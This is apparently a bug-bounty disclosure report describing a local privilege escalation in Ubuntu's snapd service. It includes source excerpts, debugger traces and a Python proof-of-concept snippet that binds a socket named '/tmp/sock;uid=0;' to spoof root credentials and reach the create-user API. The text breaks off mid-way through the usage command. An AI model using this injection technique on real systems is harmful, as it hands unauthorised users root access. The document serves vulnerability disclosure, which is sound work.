NOTE: Hello, snap team! The below is the full excerpt of my technical write up. My apologies if this is too much info or the wrong format, I figured I would include the entire thing as is. I hope this is helpful. I would like to disclose publicly after you have patched. Thanks for your hard work!!! ====================================================================== # Overview Current versions of Ubuntu Linux are vulnerable to local privilege escalation due to a bug in the snapd API. This local service installs by default on both "Server" and "Desktop" versions of Ubuntu and is likely included in many Ubuntu-like Linux distributions. Any local low privilege user can exploit this vulnerability to obtain immediate root access to the server. Ubuntu powers a large percentage of the Internet, particularly cloud providers. The ability for a low-privilege user to gain immediate root access can have dire consequences for organizations around the globe. I feel this is a severe and wide-spread enough vulnerability to warrant HackerOne's "The Internet" bounty. An exploit is attached that works 100% of the time on fresh, default installations of Ubuntu Server and Desktop. # Background In an attempt to simplify packaging applications on Linux systems, various new competing standards are emerging. Canonical, the makers of Ubuntu Linux, are promoting their "Snap" packages. This is a way to roll all application dependencies into a single binary - similar to Windows applications. The Snap ecosystem includes an "app store" like experience (https://snapcraft.io/store) where developers can contribute and maintain ready-to-go packages. Management of locally installed snaps and communication with this online store are partially handled by a systemd service called "snapd" (https://github.com/snapcore/snapd). This service is installed automatically in Ubuntu and runs under the context of the "root" user. # Vulnerability Overview ## Interesting Linux OS Information The snapd service is described in a systemd service unit file located at /lib/systemd/system/snapd.service. Here are the first few lines: ``` [Unit] Description=Snappy daemon Requires=snapd.socket ``` This leads us to a systemd socket unit file, located at /lib/systemd/system/snapd.socket The following lines provide some interesting information: ``` [Socket] ListenStream=/run/snapd.socket ListenStream=/run/snapd-snap.socket SocketMode=0666 ``` This tells us that two socket files are being created and that they can be written to by any user on the system. We can verify this by looking at the sockets inside the file system: ``` $ ls -aslh /run/snapd* 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket ``` Interesting. We can use the Linux "nc" tool (as long as it is the BSD flavor) to connect to AF_UNIX sockets like these. The following is an example of connecting to one of these sockets and simply hitting enter. ``` $ nc -U /run/snapd.socket HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request ``` Even more interesting. One of the first things an attacker will do when compromising a machine is to look for hidden services that are running in the context of root. HTTP servers are prime candidates for exploitation, but they are usually found on network sockets, possibly attached to 127.0.0.1. This is enough information now to know that we have a good target for exploitation - a hidden HTTP service that is likely not widely tested as it is not readily apparent using most automated privilege escalation checks. *NOTE: there is a new privilege escalation tool in progress at gitlab.com/initstring/uptux that would identify this as interesting.* ## Vulnerable Code Being an open-source project, we can now move on to static analysis via source code. The developers have put together excellent documentation on this REST API available here: https://github.com/snapcore/snapd/wiki/REST-API. The API function that stands out as highly desirable for exploitation is "POST /v2/create-user", which is described simply as "Create a local user". The documentation tells us that this call requires root level access to execute. Reviewing the trail of code brings us to this file: https://github.com/snapcore/snapd/blob/master/daemon/ucrednet.go. Let's look at this line: ``` ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) ``` This is calling one of golang's standard libraries to analyze the ancillary data passed via the kernel's socket operations. This is a fairly rock solid way of determining the permissions of the process accessing the API. Using a golang debugger called delve, we can see exactly what this returns while executing the "nc" command from above. Here is the delve details when we break at the function above: ``` > github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept() ... 109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) => 110: if err != nil { ... (dlv) print ucred *syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000} ``` That looks pretty good. It sees my uid of 1000 and is going to deny me access to the sensitive API functions. Or, at least it would if these variables were called exactly in this state. But they are not. Instead, some additional processing happens in this function: ``` func (wc *ucrednetConn) RemoteAddr() net.Addr { return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket} } ``` ...and then a bit more in this one: ``` func (wa *ucrednetAddr) String() string { return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr) } ``` ..and is finally parse by this function: ``` func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) { ... for _, token := range strings.Split(remoteAddr, ";") { var v uint64 ... } else if strings.HasPrefix(token, "uid=") { if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil { uid = uint32(v) } else { break } ``` What this last function does is split the string up by the ";" character and then look for anything that starts with "uid=". As it is iterating through all of the splits, a second occurrence of "uid=" would overwrite the first. If only we could somehow inject arbitrary text into this function... Going back to the delve debugger, we can take a look at this "remoteAddr" string and see what it contains during a "nc" connection that implements a proper HTTP GET request: Request: ``` $ nc -U /run/snapd.socket GET / HTTP/1.1 Host: 127.0.0.1 ``` Debug output: ``` github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5127;uid=1000;socket=/run/snapd.socket;@" ``` If we imagine the function splitting this string up by ";" and iterating through, we see that there are two sections that could potentially overwrite the first "uid=", if only we could influence them. The first ("socket=/run/snapd.socket") is the local "network address" of the listening socket - the file path the service is defined to bind to. We do not have permissions to modify snapd to run on another socket name, so it seems unlikely that we can modify this. But what is that "@" sign at the end of the string? Where did this come from? The variable name "remoteAddr" is a good hint. Spending a bit more time in the debugger, we can see that a golang standard library (net.go) is returning both a local network address AND a remote address. You can see these output in the debugging session below as "laddr" and "raddr". ``` > net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f) ... => 210: func (c *conn) LocalAddr() Addr { ... (dlv) print c.fd ... laddr: net.Addr(*net.UnixAddr) *{ Name: "/run/snapd.socket", Net: "unix",}, raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},} ``` There is no remote address name, as we are simply using netcat to make the connection. The "@" symbol could be related to the concept of an abstract namespace for Unix domain sockets, as these start with that character. The whole concept of ancillary socket data that snapd's permission model relies on can be abused here. We can certainly influence that remote address, because that remote address is US! Using some simple python code, we can create a file name that has the string ";uid=0;" somewhere inside it, bind to that file as a socket, and use it to initiate a connection back to the snapd API. Here is a snippet of the exploit POC: ``` # Setting a socket name with the payload included sockfile = "/tmp/sock;uid=0;" # Bind the socket client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_sock.bind(sockfile) # Connect to the snap daemon client_sock.connect('/run/snapd.socket') ``` Now watch what happens in the debugger when we look at the remoteAddr variable again: ``` > github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;" ``` There we go - we have injected a false uid of 0, the root user, which will be at the last iteration and overwrite the actual uid. This will give us access to the protected functions of the API. We can verify this by continuing to the end of that function in the debugger, and see that uid is set to 0. This is shown in the delve output below: ``` > github.com/snapcore/snapd/daemon.ucrednetGet() ... => 65: return pid, uid, socket, err ... (dlv) print uid 0 ``` # Weaponizing With the knowledge to bypass the user access checks, developing a working exploit is possible. We will target the "create-user" function, as it eventually uses this file to run Linux shell commands to create a new user, complete with sudo rights and all: https://github.com/snapcore/snapd/blob/6e2c5d88d971e101d4fb24d20244cb208a18dd05/osutil/user.go. *NOTE: This module looks suspiciously vulnerable to OS command injection, as well. As the function itself creates users with root privileges, I did not bother to exploit those, but this should be thoroughly reviewed as well. Please sanitise all inputs to OS commands!!!* This function can create a local Linux user based on a username and an SSH key that are registered in the Ubuntu's snap developer portal. Anyone can create an account here, so this is not a limiting factor. To exploit using this POC, simply create an account at https://snapcraft.io/, log in, and upload an SSH public key. Then, run the exploit like this with the corresponding private key as file "id_rsa": **IMPORTANT: YOU MUST CREATE AN UBUNTU ACCOUNT ONLINE AND UPLOAD AN SSH KEY TO EXPLOIT** dirty_sock.py -u "